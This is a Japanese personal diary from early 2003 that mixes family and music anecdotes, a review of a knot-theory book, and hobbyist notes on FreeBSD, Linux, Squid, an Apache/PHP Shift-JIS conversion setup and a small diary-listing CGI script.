これを防ぐには Y:U:V=4:4:4 のフォーマットを使用するか、Y:U:V=4:2:2 でも色成分の高周波の間引きを減らせば防げると思われます。最近はインターネットの帯域もだいぶ広くなってきたので、JPEG 画像に関しても昔ほど無理に圧縮する必要はないと思います。
ちなみに、昔は、白黒テレビというものがありまして、てゆーか、テレビといえば白黒だったのですが、 Y 成分だけの電波だったのです。テレビがカラー化されたとき、一番問題になったのは、すでに普及した白黒テレビでカラーの電波を受理できて、もっともらしい白黒で表示可能かということだったのですが、白黒テレビには認識できない U,V 成分を電波に付加することで解決したのです。この互換性に対するすばらしい方式は、現在つまらない非互換性で争っている人たちに見習って欲しいところです。
監視カメラなど、画質がどうでもよい用途には Y:U:V=4:1:1 が使われます。こんないやな用途にせっかくのよい技術を使うべきではないですね。特に、拘置所などで、人間を 24時間監視する用途に使用するなど、許されることではありません。

2003年2月11日(火)

続・おやばか
ねたが無いときに子供の話題で急場をしのぐのはどこもおんなじ～、って書こうと思ったら、ちゃんとしたねたがあるのに、しっかりお子さまの話題が書いてあるではないか(^^;。早く熱が下がるとよいですね。
意外と便利な全件表示
先日日記の全件表示機能を追加しまして、自分で自己リンクを検索するためのつもりだったのですが、コマンドのオプションとか、ちょっとしたメモとか、覚え書きで書いておいたものを検索するにも便利なのです。特に w3m の読み込みとインクリメンタルサーチは激速なので便利さが倍増します。とっても簡単な CGI なので、もっと前から作っておけばよかったです。

2003年2月10日(月)

豆腐
前の会社の P さんからメールが来まして、Mozilla/X11/FreeBSD を最新版にしたら文字が豆腐化したとのこと。全然意味が分からないでいたら、FreeBSD-users-jp に同様の話題が流れまして、こういうことらしいのです。豆腐というより四ピン(スーピン)ですな。回避方法は、prefs.js に

user_pref("fonts.xft.enabled", false);
と記述するそうです。
某日記
最近とみに「おやばか日記」という風情が強いのは気のせいかな。よいですなぁ(^^)。
ちなみにモカは、生まれて半年位で「いないいないばぁ」とはっきりしゃべり、これは天才か～と思ったら、一年間「いないいないばぁ」だけで通したという過去があったりします(^^)。
評判が悪い Windows98
最近モカが「パソコンが壊れた」(^^;と言う頻度が増えています。もちろん壊れたのではなく、Win ちゃんの不調の度合いが増えてきたのです。そう言えば、お正月に 2000計画を立ててそれっきりになってたっけ。困りましたなぁ。また Windows98 を入れ替えても 2,3ヵ月でだめになってくるし、 2000化はめんどいし(^^;。さいわい今は家族のメールは全部私が管理しているので、いつものようにメールのパスワードが分からなくて、移行に苦労するという悲劇は起きないのですが。てゆーか、本当は分からなくなってるんだけど(^^;、メールアドレスって自宅 FreeBSD サーバーのアカウントなので、スーパーユーザになって変更すればよいのです。
ご家族さま FreeBSD 教育計画なんてゆーのはどうかな。もちろん冗談です。
しかし、いつも思うのだけれども、全然分かってないおっさんが買っていった場合、 PC 本体やインターネットアクセスをどの様に運用しているのだろう。とっても不思議なのであります。
ごたまぜ CD
現在持っている、岩男潤子さん、石川ひとみさん、斎藤由貴さんの CD 全6枚を mp3 化して寄せ集めた CD を作りました。ごたまぜ感は否めませんな(^^;。しかも、岩男潤子さんのコンサートのライブCD その1,その2 の順番を間違えてしまいました。まあいいや。←やっぱりよくない。作り直し。
そう言えば、今日から九州ツアー開始ですね。いってらっしゃいませ～。

2003年2月9日(日)

自宅に squid
結局 Shift-JIS 化と関係なく自宅に squid をいれました。会社から自宅を proxy に設定してアクセスすれば便利そうだからです。自宅からの使用感はもちろんよいのですが、問題は会社からのアクセス速度ですね。 ADSL の上りの速度がネックになるかも知れません。
現在の設定では、ここを踏み台にして、掲示板荒らし等ができてしまうのですが、どのようなアクセス制限をすればよいのだろうか。すぐにはまずいことは起きないでしょうから、数日間考えましょう。
一応アクセス制限をかけました。会社と自宅は簡単なのですが、問題は AirH" なのです。面倒なので iij4u からのアクセスは全部許すというとんでもない暴挙を犯しております(^^;。よいやりかたがあったら教えて下さい。 AirH" の場合はローカルで squid を動かした方がよいのですが、いちいちプロキシーを切り替るのも面倒だし困ったものです。
やっぱりこの場合ローカルにするべきですね。
＃ mkdir -p は昔から愛用していたりします。
やるべきこと
結構さぼっていまして、
- いちご実験室を読む
- Favorite Songs を聴く
- Age を聴く
をやらなければいけなかったりします。
一応 mp3 化完了。

2003年2月8日(土)

確定申告
そういやしなきゃいけないのですね。めんどくさいなぁ。
自宅プロキシー化模索中
自宅がプロキシーになって、コード変換、てゆーか、一般にフィルター機能などがあれば便利だろうということで何がよいか検討中です。 Squid が一番有名ですがどうなのでしょうね。あと、自宅をプロキシー化すると、会社にいるときも、「自宅にいるふりをして」インターネットをうろうろ出来るという利点もあります。いまでも出来るのですが、画像付きだと余りにもとろかったりします。
それはともかく、また熱が出て寝込んでいたりします(^^;。
それで squid をインストールしてマニュアルを見た感じでは、簡単なフィルター機能はなさそうですね。それでは delegate てゆーことで、ports からインストールしようとしたら、
```
**********************************************************************
*   WARNING!     WARNING!     WARNING!     WARNING!     WARNING!     *
* You have chosen to build an insecure program.                      *
* This program has known security problems which may allow a remote  *
* attacker to take control of your machine.                          *
* See FreeBSD security advisory 00:04 for more information.          *
**********************************************************************
```
という恐ろしい警告がでる始末。うーん、簡単な処理なのに、なかなかうまくゆきませぬな。
ちなみに、昨日、毛利さんのことを書きましたが、別に彼のことが嫌いというわけではなく、いや、人間としてはとてもよい方だと思っているのですが、未来科学館の館長としてはちょっとどうかなと思っているだけなのであります。

2003年2月7日(金)

毛利衛さん
日本未来科学館の館長である毛利さんは、先日のスペースシャトルの事故の宇宙開発への影響を問われると、
「最終的に宇宙に人間が行かなければ、すべての宇宙開発は意味がない。それは私たちが発展していくということだ」と言い切った。
そうです。前半の部分に関しては別に感想はありません。ただし、後半の「宇宙開発をすることは、人類が発展していくということだ」という意味の言葉には違和感を感じます。宇宙に限定しても、十分な観測を行うことが可能であれば、「宇宙とは何か」ということを、より詳細に調べることができると思うからです。別に人類が宇宙に出ていく必要はないのです。やはり、彼は科学者ではなく、宇宙飛行士なのでしょう。日本未来科学館に行ったときの違和感が理解できたような気がします。

2003年2月6日(木)

うまくゆかない自宅の Shift-JIS 化
どうでもよいのですが、自宅の Shift-JIS 化がうまくゆきません。雰囲気としては read.php は大丈夫で .htaccess の方が期待通り動いていない感じ。 Apache2 ですからね。例のごとく設定がわからないのです(^^;。
原本を素直に Shift-JIS にすればよいのですが。
それにしても、例えば ezweb などは、センターでかなり複雑な処理をして、 HTML をケータイが受理できる形式に直しているはずなのに、どうしてたかが EUC を Shift-JIS に変換するくらいやってくれないのだろう。
出張が終わったら真面目に設定しましょう。
それはともかく、情報ありがとうございます。もちろんプロキシを使わせてもらったり、自前でプロキシを立てるのは可能なのです。その方が汎用性があってよいかもしれません。まあ、Shift-JIS 化シリーズはネタとか勉強いう意味もあったりします(^^;。
だけど、本当にこっちの方がよいかも。

2003年2月5日(水)

注文したアルバム
二日に注文したアルバム2枚が明日届くそうです。残念ながら出張なので土曜日まで聴けません。ちなみに出張には、谷山浩子さんのアルバム15枚分を 3枚の CD に mp3 でまとめたのと、岩男潤子さんの「kimochi」をもってゆくのだ。
やっと Shift-JIS 化
ある人に、てゆーかいつもおんなじ人なのですが、教えて頂いたのですが、 Apache + PHP4 なる環境で、EUC で書いたファイルを、特定のユーザーエージェントに対して Shift-JIS にして出力する方法です。
.htaccess に次の様な記述。
```
-----------------------------------------------------------------
Options +Indexes
<IfModule mod_php4.c>
 php_value mbstring.http_output SJIS
 php_value mbstring.internal_encoding EUC-JP
 php_value output_handler mb_output_handler
 RewriteEngine on
 RewriteBase /kagami/diary/0000/
 RewriteCond %{HTTP_USER_AGENT} !^(Mozilla|Emacs|w3m).*
 RewriteRule (.*)\.html read.php?file=$1
</IfModule>
-----------------------------------------------------------------
```
read.php は次の通り。
```
-----------------------------------------------------------------
<?php
if (!ereg('^[^./][^/]*$', $file))
 die('bad filename');
mb_convert_encoding(readfile($file . ".html") ,"euc-jp","auto");
?>
-----------------------------------------------------------------
```
これで、ユーザーエージェントが Mozilla,Emacs,w3m で開始されていない場合、つまりケータイっぽい場合 Shift-JIS での出力となります。やっと自分のケータイで見れたのであります。ちなみに自宅は PHP 対応がまだうまく動作せずだめだったりします(^^;。
＃ RewriteBase の意味が分からず書いていたのを修正。
＃人様の全件表示も便利なものですな(^^;。

2003年2月4日(火)

攻撃
SL-C700 であてつけ攻撃する準備をしていたのに～(^^;。
沈没する
昨日家に帰ってごはんを食べてちょっと寝転んでいたら朝(^^;。土日の昼夜逆転現象をなんとかしなければいけませぬな。
あと、昨日の 4次元の「結び目」の表現がちょっと良くないので、後で修正致します。
明日から出張
明日から二泊三日の出張です。出張といっても埼玉県だったりします。持っていくもの。
- 着替え
- ノート、筆記用具
- X24、電源
- CD ウォークマンもどき
- お財布
newdiary.html を symbolic link に
今まで local では例えば、200302.html を newdiary.html に symbolic link していたのですが、biglobe の都合でこれらを 2つの実体に分けてリモートに転送していたのです。Biglobe をやめたので、今後はリモートでも newdiary.html を symbolic link として扱えます。

2003年2月3日(月)

結び目のはなし 村上斉著 ISBN4-7952-6892-4
感想なのです。とても面白かったのであります。プロローグとエピローグがありまして、お話がなんとなく谷山ワールド。しかも 10年前のコンピューターの雰囲気も味わえるという、一つぶで二回分のおいしさ(^^)。
数学では一般に難しい対象を扱う場合、それを簡単化した対象を考えて、もとの対象に近づくという手法をとることが多いのですが (これが数学で写像を多用する理由です。写像は物事を簡単化する作用があるのです)、この本に書いてある簡略化の方法は、結び目の「平面への射影」と「射影図の代数化」なのです。
「平面の射影」は結び目の上からライトかなんかを照らして、平面に写った影を考察することです。影だけですと、交差部分でどっちが上にあるか分からなくなるので、例えば「上の方にある」ひもに切れ目をいれて表現するという方法がとられます。また 3点以上交わった場合は、ちょっとずらせば良いのです。
そこで、問題となるのは「射影図の同値」と「もとの結び目の同値」との関係なのですが、これに関してはある種の変形(本を読んでのお楽しみ)を利用した非常に明快な説明がされています。
これで、平面への射影図を調べればよいということが分かるので、非常に研究が容易になるわけであります。
「射影図の代数化」は、わたしの勉強不足で直感的な意味はよく分からない部分もあるのですが、(mod n) での整数を射影図の各辺へ「割り当て」て、その「よい」割り当てが何通り存在するか考えるのです。この量を (mod n) での階数といいまして、同値な結び目に関して不変であることが証明されます。それにより例えば、階数は結び目が「ほどけない」ことを証明するのに利用できることが分かるのです。「階数」の概念は、ある場面では弱すぎて、例えば結び目が「ほどける」ことの証明には使用できないのですが、逆にいうと、この概念が強すぎると理論自体がつまらなくなってしまうので、さらなる理論の発展のためには丁度よい強さかなとも思われるのであります。
これだけの内容を、非常に分かりやすく明快に説明されているのに非常に感銘を受けました。現在の私の数学の能力なんて、高校生程度であると思われますので、「数学はちょっと～」という人にも十分楽しめる内容だと思います。とってもお買い得であります(^^)。
ちなみに 4次元空間では「普通のひも」は全部ほどけてしまいます(^^;。それでも、やはり数学屋さんというのは、どんどん概念を拡張するわけでありまして、 4 次元空間でも「結び目」を考えるそうです。 3 次元空間での結び目の元になるのが「円」であるように 4次元空間での結び目の元となるのは、普通の「球面」だそうです。ただし、球面を結ぶといっても、お祭りとかで、細長い風船で動物の形をつくったりするのとはもちろん違い、4 次元空間の中では「球面」の裏も表もないので、くねくねと「結ぶ」ことができるのです。
とっても速い対応
昨日、斎藤由貴さんと岩男潤子さんのアルバムを注文したのですが、奧さまからは一枚しか許可が出ていなかったりします(^^;。
それで、どうせおんなじ箱に入って届くので、「届いた時」 にはばれないであろうと２枚注文しちゃったのですが、注文確認のメールを見ると「代引き」扱いになっていたのです。
しまったー、「届いた時」にばれちゃう～(^^;。
てゆーわけで、ブラウザでクレジットカード払いに変更したのですが、反映するのは次回の注文からということ。
これでは困るので、サポートにメールをしたら、受理したという返信がなんと 7分後(^^)。いやー、ほんとに速いですな。
＃カードの明細が来たときが恐いのです(^^;。

2003年2月2日(日)

わたしはチャボよ

うーむ、相手が初めての女性だったりすると、かわゆいと見せかけようとして、マント牛の正体を隠してチャボになるのか(^^;。
それはともかく、


     商品コード     ｜注文数量｜　単価　｜商品名
－－－－－－－－－－＋－－－－＋－－－－＋－－－－－－－－－－－－－－
D29A-1008           ｜       1｜ ￥2,920｜斎藤由貴/ＡＧＥ
PCCG-472            ｜       1｜ ￥2,800｜岩男潤子/Favorite Songs
－－－－－－－－－－＋－－－－＋－－－－＋－－－－－－－－－－－－－－

壁紙入れ替え～
月が変わったので壁紙の入れ替えであります(^^)。
失敗したうさぎ
Linux で IPv6 を動かすには、usagi 対応カーネルを導入しなければならないということで、無謀にも自宅から会社にトンネル経由の ssh でログインして、 300MBytes もある usagi...tar.bz2 を展開してコンパイル・インストールしたのです。ところで、Linux のカーネル入れ替えは FreeBSD よりちょっと面倒なので、一昨日一度(usagi と関係なく)会社で練習しておいたのです。
そこで、練習した通りの手順でインストール・リブートしたのですが、 vtund に全く接続してこなくなりました(^^;。
リモートで、慣れない OS の kernel 入れ替えは危険ですな(^^;。
一応ご存じない方にちょっと説明を書いておきますと、BSD 系の OS での IPv6 プロトコルスタックの開発を KAME プロジェクトといいまして、これは最近のディストリビューションに組み込まれています。
Linux 系が後追いで始めた IPv6 プロトコルスタック開発を usagi プロジェクトといいまして、RedHat ディストリビューションとかには、まだ一部分しか組み込まれていないようなのです。それで、自前でカスタムカーネルを作ってリブートしたのですが、見事に失敗したのであります(^^;。
ちなみに Microsoft も独自に IPv6 対応は進めております。

2003年2月1日(土)

FC 継続
昨日帰ったら、FC から継続の払い込み用紙が来ていました。もちろん継続するのですが、4月末日まで有効なのにずいぶん早いのですね。
Memories から一年
谷山浩子さんの部屋の記録をみると、Memories を初めて聴いてからちょうど一年なのです。あれほどの衝撃はそう何回もあるものではないと思います。あの頃は何をするのもいやで、自分でもどうしてよいか分からない状態の日々だったのですが、何がきっかけで人生が変わるか分からないものですね。 Memories の衝撃があまりに強烈だったので、谷山浩子さんに専念するために会社を一ヶ月休んだし(おぃ)、結局やめちゃったし。うーん、会社が反社会的な開発を始めたり、偉い人との人間関係が悪くなったり、５年で飽きるとか、やめどきだったのは確かなのですが、余りに忙しくて「このままでは猫森に行けなくなるかも知れない」という恐怖感も原因の一つになったことは確かですな(おぃおぃ^^;)。
いずれにしても、人生なんとかなるもので、今考えればとてもよい一年だったと思います。
なんといっても、谷山浩子さんの歌をたくさん聴けたのですから。
長女の受験ツアー
おとーさんは遊んでばかりいるが、長女は明日明後日から本格受験ツアー。明日明後日は東京で受験して、次の日は名古屋(^^;。大丈夫なのか。二つ位にしぼればよいと思うのだが、本人は数うちゃあたると思っているのです。
全部はずれたたどうしよう(^^;。

2003年1月31日(金)

ケータイへのメール
そう言えば、ケータイに直接スパムが来たことはないですね。 evariste.(dd).que.ne.jp 経由で自作フィルターをすりぬけることはありますが、これは簡単に対処できます。それにしても、au ってメールアドレスの変更出来ないのですか。知らなかったです(^^;。
今月は電車のひまつぶしに、ケータイで人様の日記をたくさん覗いていたりしたら、8000パケットのパケ割りの無料分をオーバーしてしまったのです(^^;。
1 パケット 0.1 円なのでたいしたことないが。
ところで、今度のケータイは Reply-To: できるのですか。
続・xor 演算子
xor 演算子と not 演算子の組合わせで、任意の命題論理式を構成出来ないのは、 (A xor B)が 2つの組合わせで F,他の2つの組合わせで T となるからですね。これを not といくら組み合わせてもやはり 2つの F と 2 つの T の組み合わせしか生成出来ないのです。
```
--------------------------------------------------------------
A    B    A xor B      A or B         A and B        A ==> B
F    F          F           F               F              T
F    T          T           T               F              T
T    F          T           T               F              F
T    T          F           T               T              T
--------------------------------------------------------------
```
or や and は 3 つの F(T) と 1 つの T(F) を生成するので、 not と組み合わせると 3-1=2 などの組み合わせも可能なのです。 3 が 4 と互いに素であることが本質なのですね。ちなみに、ご存じない人もいらっしゃるかと思いますが、 (A ならば B) というのは、命題論理では ((not A) or B) として扱われます。言い換えると、前提が「偽」の場合 (A ならば B)は必ず「真」と扱われます。一般常識と異る世界ではあります。

2003年1月30日(木)

お出かけ
午後から恵比寿。それはそーと、駅員さんに意味のない文句を言っている段階で、もう十分「変な人」なので、気をつけられた方がよろしいかと。

覚え書き

xor 演算子の性質

-------------------------------------------------------
A xor B <--> not(A <==> B)
        <--> not((not A) or B) or not(A or (not B))
        <--> (A and (not B))  or ((not A) and B)
        <--> (A or B) and ((not A) or (not B))
-------------------------------------------------------

xor というのはいまいちピンと来ませんな(^^;。

(not と or) や (not と ==>) で任意の命題論理式を構成出来ますが、 (not と xor) では無理ですね。

続・かぜ
昨日は、38度5分位熱が出て、全然仕事にならなかったです。 5時半頃退社して、家に帰って即座に沈没～。
ちなみに、今日は打ち合わせがあるので休めないのです(^^;。
風邪の話はこれでおしまいの予定。

2003年1月29日(水)

LBP-2260PS II
私の近くの席のジョージというルーマニアの人の開発用に搬入されました。もちろんお客様用であります。巨大なのです(^^;。
声がでない(^^;
朝起きたら声が出ず(^^;。熱はないから会社には行こう。
会社宛のメール
現在自分宛(evariste.que.ne.jp)のメールは自宅サーバーに集まって、それを X24 が ssh トンネル経由の POP3 で取り込んでいるのです。それで、問題は会社のアドレス宛メールの管理なのです。今は会社のサーバーに接続して X24 に取り込んでいるのですが、バックアップが自動的にとれないのと、やはり会社宛は、会社のマシンにも置きたい。
というわけで、会社の Linux マシンで fetchmail を動かして、そこで第一段階の取り込みを行いまして、.forward と procmail で inbox に落としたついでに、自宅のサーバーに転送しようかと考えているのであります。
頭がこんがらがって来ましたな(^^;。
写真
ねこ森集会 Ltd の写真が出来てきました。「下手な写真も数打ちゃあたる」ということで、何と 72 枚も撮ったのです(^^;。残念ながら視界が良好になった瞬間はなかったのでありますが、それでも 5枚位は良く撮れたのがあります。引き延ばして写真立てにでもいれようかな(^^)。

2003年1月28日(火)

Linux で vtund
やっと動作。ちなみに、トンネルの ifconfig は
# ifconfig tunX inet 10.3.1.1 dstaddr 10.3.1.2 netmask 255.255.255.0
という感じ。
Emacs と Mozilla も日本語が入るようになったので、やっと使い物になりますね。
ナトリウム
「もんじゅ」設置許可は無効という判決が名古屋高裁金沢支部で出されたそうですが、当然の判決だと思う。そもそも、高速増殖炉というのは、冷却材に「ナトリウムを使用する」という段階で終わっていると思うのだが。
ちょっと考えれば無理なことが、国家の計画ということで強引に進められていくのが恐ろしいのです。
おやおやこんな資料があるのですね。いつの資料なのだろう。

2003年1月27日(月)

雪の降る町を
浩子さんが鶴岡で歌ったのですね。この曲はちょっと困ったところがありまして、出だしの部分がショパンの幻想曲ヘ短調とそっくりなのです。この幻想曲はなかなかの傑作で、ショパンの曲の中でも好きな曲なのですが、最初の部分で「ゆーきの...」という歌詞がうかんでしまうので、大いに興ざめなのであります(^^;。
＃ショパンが生きていたら、間違いなく訴えられたしょうね(^^;。
ページバージョンアップ計画
いつも計画だおれに終わるのですが、このページの今後のバージョンアップ計画(^^;。
- リンク部屋を整備する。リンクして下さっているありがたい方や、最近色々な方に教えて頂いた資料に関するリンクを整備したい。
- 今までの日記を全部表示できる CGI を作りたい。自分用です。古い記事を探すとき grep で検索するのが面倒になってきたのです。基本的には cat で結合すればよいのですが、毎月のヘッダとトレイラーを削除する必要があります。
- 浩子さんネタ、BSD ネタを少し分かりやすく書き直して別部屋にまとめる。だいぶたまってきたのと、検索でこられた方も、まとまった場所に置いてあれば少しは役に立つかも知れないので。
- 非常に不本意でありますが(^^;Shift-JIS 化。自分のケータイで見れないのが不愉快だったりします。
どちらかというと、ネタ作りのためのバージョンアップだったりします(^^;。いつになることやら。
それで、一つ位作っておこうというわけで、全件表示を実装。日記の HTML に  と  というコメントを埋め込んで、CGI ソースはこんな感じ。
```
-------------------------------------------------------
#!/bin/sh

echo 'Content-type: text/html'
echo
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=euc-jp">'
echo '<title>'
echo '全部'
echo '</title>'
args=./20[0-9][0-9][0-9][0-9].html
files=`ls -r $args`
awk '{
 if ($0~/^/) {
 display=0;
 }
 if (display) 
 print $0;
 if ($0~/^/) {
 display=1;
 }
}' $files
-------------------------------------------------------
```
日記の先頭ページに「全件表示」リンクを追加。

2003年1月26日(日)

風邪でダウン～(^^;
昨日の午後から 39度近い熱が出てダウン。３日前に社長が風邪ひいてたのです(^^;。
ちなみに、そんなにインターネットの調子悪いかなぁ。
FreeBSD-5.0 の Perl
ここの情報によると FreeBSD-5.0 からは Perl がベースシステムから削除されるそうです(^^)。
そもそも、FreeBSD の最小限のシステムが Perl の様な醜悪な言語に汚染されていることがとても不愉快でありましたので、非常に良い決断だと思います。 FreeBSD 開発者のセンスの良さを感じます。
＃その他の部分で Perl に依存してしまっているプログラムが非常に多いので、
＃結局 ports からインストールする必要がありそうですが。

2003年1月25日(土)

昨日の続きと覚え書き
一度歩いて帰られたのは読んだ記憶があります。宮城県沖地震22周年記念でしたか。それでは鶴岡では存分に楽しんできてくだされ(^^)。
鶴岡まで歩く元気はないだろうが(^^;。
これやこれやこれですね。
愛用させて頂きます。小山様に感謝でございます。そろそろリンク部屋をちゃんとしようかな。
Flets ADSL 2ヶ月無料
NTT 東日本の Flets ADSL が YBB に対抗して新規契約者は2ヶ月間無料になるそうですね。このコストは値段が高かった頃から使っていたユーザーが負担するのだろうな。無料で使うユーザーが増えれば、全体の品質が低下すると思うし、何か納得がいかないのです。常識的に考えて ADSL 回線は、維持費だけでも月に 2,000円程度必要なのは妥当な金額だと思います。無理な競争をして品質を落とさないで欲しいのであります。
技術の進歩で、新しいユーザーが価格の安いものを選択出来るのはよいのですが、資源を共有する技術で価格に違いがあるのはどうかと思いますね。
＃それはそうと、COMPAQ PROLIANT ML370 はたまに落ちるのではなかったかな。
＃大丈夫なんですか～(^^;。

2003年1月24日(金)

ご帰宅
思ったよりすんなり帰れたのですね(^^)。
もしかして、どこかで夜明かしかと思っていたりしました(^^;。
曲名等資料
確かにここは素晴らしいですね。使わしてもらお(^^;。
IGMP でハマる
IP マルチキャストは、おおざっぱに言えば、同一 LAN のデータリンクに対してブロードキャストが行うのですが、ネットワーク層ではそのマルチキャストアドレスに「参加している」ノードのみが上位にデーターを上げる機構です。
ブロードキャストに対するマルチキャストの利点ですが、
- 受信側の立場では、自分が参加していないアドレスのマルチキャストパケットは、ハードウエアがドライバーに上げた直後に破棄できるので、負担が少ない。
- IP を理解するスイッチを利用可能であれば、ブロードキャストより LAN 内を流れるデータを減らすことが可能。ただし、通常のスイッチングハブでは、ブロードキャストの様に「ばかハブ」と同じ動作になってしまう。「普通の」環境でマルチキャストの実験をすると、みんなにとっても迷惑をかけることになります。
- 送信側は「だれも聞いていない」ことが分かれば、データ転送を止めることが可能。
というわけで，ブロードキャストに比較して利点が多いのです。それで、IPv4 では、だれが聞き耳をたてているかの情報をやりとりするパケットを IGMP パケットと言います。これは IPv6 では ICMP6 パケットに統合されるのですが、今日は IPv4 の話なのです。
それで何が意外だったかといいますと、ちょっと必要がありまして、 IGMP を送受信する raw socket 処理プログラムを書いたのです。すると IGMP の送信側は問題なかったのですが、受信側に全然パケットが上がって来なかったのです(^^;。
試行錯誤したところ IGMP を raw socket で受信するにも、そのアドレスに「参加」する必要があるのでした。IGMP はメタ情報の運び屋さんであるし、しかも raw socket 受信だから上位に上がってくるだろうという先入観念があったのですが、この場合でもマルチキャストグループに参加する必要がある様です。
＃このあたりを明確に記述した文献は不勉強にしてさがせず。
＃しばらくの間 IGMP を「GIMP,GIMP,GIMP」と呼んで回りの人は
＃意味不明だったらしいのです。お絵書きソフトじゃないって(^^;。
ちなみに、マルチキャストパケットのルーティングは、通常の経路制御とは別建てで行われ、mrouted というプロセスが経路設定の制御を行います。

2003年1月23日(木)

Linux 環境整備
WindowMaker と Emacs-21 をインストール。まだ Emacs-21 で Canna は使えず。面倒ですなぁ。とりあえず使える感じにはなってきました。てゆーか rpm の使い方とか分からないので、適当なところから tar.gz を拾ってきて ./configure && make install をやっているのですが、大丈夫かな(^^;。
＃最も重要と考えられる壁紙の設定も行いました。
＃ちなみにわたくしは「赤ずきんチャチャ」以外の壁紙は使わないのです。
勘違いと意味不明
最近あまりに勘違いが多いのと、書き込み内容が意味不明といううわさも流れているので(^^;ちょっと書き込みは自粛。おそらく一週間もたないと思いますが(^^;。
別件ですが、かがみもち、もとい鏡文字を gif で張り付けた文章というのは w3m のテキストモードでみると全く意味不明ですね。最初全く意味が分からなかったのであります。

2003年1月22日(水)

Linux をインストールする
やっと会社に開発用 PC 2台が届きまして、片方は Linux、もう片方は Windows2000 をインストール。それで今日は Linux の感想。
- インストーラーはそれなりに分かりやすい。初めてでもなんとかインストール出来た。
- デスクトップはとりあえず GNOME か KDE しか選べない。仕方がないのでとりあえず GNOME を選択。GNOME は重いので、一段落したら WindowMaker に変更したい。
- ネットワークの設定はどのファイルをいじれば良いか分からない。とりあえず ifconfig と route で設定したが、リブートすると忘れてしまうはず。 route は BSD と構文が違い面倒だった。
- sshd はすんなり動いた。
- その他の細かい設定は、何がどこにあるのか全然分からない(^^;。覚えるのが大変そうである。
- su でパスワードを間違えると数秒待たされる。設定で直せるのかもしれないが、とっても不愉快。
- 全体的に BSD より品がない感じがする(^^;。
要するに慣れていないから使いにくいのですね。そもそも、今の会社に 7年前 FreeBSD を使うように勧めたのは私なのです。それで、社内用や販売用に数百台 FreeBSD マシンが使われたはずなのですが、ちょっと油断している間に Linux になってしまいました。全くけしからんのであります(^^;。
＃とりあえず fvwm2 で動作成功。
裏技
意外と知っている人が少ないので。

デスクトップや Expolorer 上の適当なファイルやディレクトリをドラッグして、 DOS 窓の上でで離すと幸せになれることがあります。
結構便利でしょ。
どこを信用すれば^^;
うーむ、ここの曲名を信用できないとなると、本当に困りますな(^^;。
それはともかく、昨日は移動時間が長くて退屈だったので、あちらこちらに書き込みをしすぎたかも知れません。
それから、猫森集会 Ltd に１０年も行くと、笑わずに聴ける曲がなくなってしまうかも知れない。もしそうなってしまったらどうしよう(^^;。

2003年1月21日(火)

ひつじ
実は最初、ＭＡＹとひつじの関係が分からないで、ずーとＭＡＹの歌詞を思い出していたりしました(^^;。途中まで思い出して、「でてこないなー、へんだな～」と思った瞬間に気が付いたのであります。
＃ちなみにわたしは可愛いひつじ年生まれ～。
＃たまにとんでもないカンチがいをするのであります。
メールの振り分け
バックアップ用にサーバーの inbox に落としたり、すぐには読まないメールを、直接該当の箱に入れるのは最初からやっていましたが(^^)。
＃いやいや、いくらなんでも(まぬけ)などということは一言も(^^;。
ちなみに、私宛のメールは、自分で管理できるレンタルサーバーを経由して、自宅のサーバーに届くのです。その度にバックアップがとられます。
私が人様に出したメールに必ず自分宛の Cc: がついているのは、サーバー側でもバックアップが取れるようにするためであります。この様な管理方法は人様に教えていただいたのです。
＃個人的には Bcc: は嫌いなのであります。自分では絶対に使用しません。
＃どうしても「そのような」処理が必要な場合は別便にします。

2003年1月20日(月)

なかなか来ない会社の PC
入社した日に注文した PC がまだ来ていません。今でも自分のノート PC で仕事をしていたりします(^^;。
来たら来たで、Windows と Linux には慣れていないですから、インストールに時間がかかりそうです。壁紙の選択も難しいところなのです。
それはともかく、ついに FreeBSD-5.0 がリリースされました。 FreeBSD-4.X 系列から 5.0 以降は全く別物と言えるほどの大変化なので、まだ入れ替える勇気はないのです。少なくともアップグレードではなく、クリーンインストールする必要がありそうです。
検索エンジン
あまりあてになりませんが。一月位たたないとヒットしないと聞いた記憶が。
↑なんかいーかげんなことを書いたような(^^;。
ねこ森集会リミッテド二日目
座席は整理番号が 124番ということで、とても後ろなのかと思っていたら、前から 6列目でそんなに悪い場所ではなかったのです。
それで、初めての経験なので、ちょっと圧倒されました(^^;。
ずいぶんお遊びの時間が長いのですね。もう少し歌が多い方が良かったかな。それでもとっても楽しかったです。知らない曲が多かったので、かなりいい加減なのですが、曲名リスト。
```
-----------------------------------------
  ＳＡＫＡＮＡ－ＧＩＲＬ 罰ゲームの踊り。
  落ちてきた少年
  息を深く吸う森
  翼になれ(浩子さんがパス^^;) 残念
  ラッキードラゴン ＬＵＣＫＹ　ＤＲＡＧＯＮ
  小さな魚
  恋人
  ほうき星の歌
  神様
-----------------------------------------
```
「恋人」という曲は初めて聴きましたが名曲ですね。「恋人」・「ほうき星の歌」がピアノソロによくマッチして素晴らしかったのです。
こういう雰囲気ならお子様連れもなかなかよいですね。
うるさい男の方がよっぼどはた迷惑でしょう。幸い、いなかったが。
あと AQ さんの踊りは絶品でした。そうそう、じゃんけんの勝ち残りで、こんなのをもらってきました。浩子さんが使っていたバッグだそうです(^^)。

2003年1月19日(日)

お絵描き
ちょっとお絵描きをする必要がありまして、昨日自分で書いていたが、どうしてもうまく行かず(^^;。
ついに、受験生の二女にお願いすることに。二女も勉強しない言い訳けになるので利害が一致するのだ。
良く考えてみると、高校２年生になるまで「立方体」が描けなかったのであります(^^;。一応代数幾何専攻ですが、一度も図を描いたことがなかったりします。
うるさい男
むむむっ、今日のねこ森 Ltd には碁盤も持っていく必要があるかな(-_-)。重そうであります。
＃そんなにひどかったのですか。
それでは、うるさい男がいないことを願って、出発～(^^)。
本
一昨日発送された本 2冊が昨日届きました。「結び目のはなし」は電車で読めますが、「いちご実験室」は難しいでしょうね(^^;。
一段落したらのんびり読みます。

アンケート

1月2日のアンケートに、こんどは何と 7件ものご回答を頂きました。ただし今度もお一人だったりします(^^;。どうもありがとうございます。それにしても、お一人で 7台というのもすごいですね。
前回のご回答も一緒に再掲させて頂きます。

機種名等秒数倍率倍率(正規化)

PowerPC G3 600MHz, bus clock 100MHz 33.8秒 0.54倍 1.02倍

Athlon 600MHz NetBSD-1.6 24.9秒 0.73倍 1.38倍

T20 PautiumIII 700MHz,Intel440BX,SDR(PC100) 24.1秒 0.76倍 1.23倍

Pautium4 1.6GHz Intel845,SDR(PC133) 18.2秒 1.01倍 0.71倍

Pautium4 1.6GHz Intel845B,DDR(PC2100) 13.8秒 1.32倍 1.07倍

